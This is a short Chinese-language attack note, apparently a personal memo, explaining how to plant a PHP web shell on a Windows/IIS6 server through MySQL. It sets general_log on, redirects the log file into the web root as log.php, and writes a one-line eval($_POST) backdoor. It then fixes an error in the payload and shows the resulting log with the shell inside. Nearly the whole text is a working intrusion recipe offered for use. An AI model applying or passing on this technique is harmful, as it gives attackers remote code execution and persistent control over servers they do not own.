环境:win2003 、IIS6、PHP、asp、cgi-fcgi
1、set global general_log='on'
2、set global general_log_file='c:\\phpstudy\\www\\log.php' #一定使用 '\\'
3、select "<?php eval($_POST[0])?>"
出现时不时错误:
HTTP/1.1 500 Server Error
Date: Tue, 23 Jan 2018 01:38:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 105
PHP Notice: Use of undefined constant (常量)shell - assumed 'shell' in C:\phpStudy4IIS\WWW\log.php on line 64
原因:[0]中0是常量,['0']中0是变量,所以应该是:<?php eval($_POST['0'])?>
log.php文件内容:
MySQLa, Version: 5.5.40 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
96 Quit
180123 10:20:47 97 Connect root@localhost on
97 Query SET CHARACTER SET 'utf8'
97 Query SET collation_connection = 'utf8_general_ci'
180123 10:20:48 97 Query SELECT "<?php eval($_POST['0'])?>"
97 Init DB mysql
97 Query SHOW MASTER LOGS
97 Quit ......
......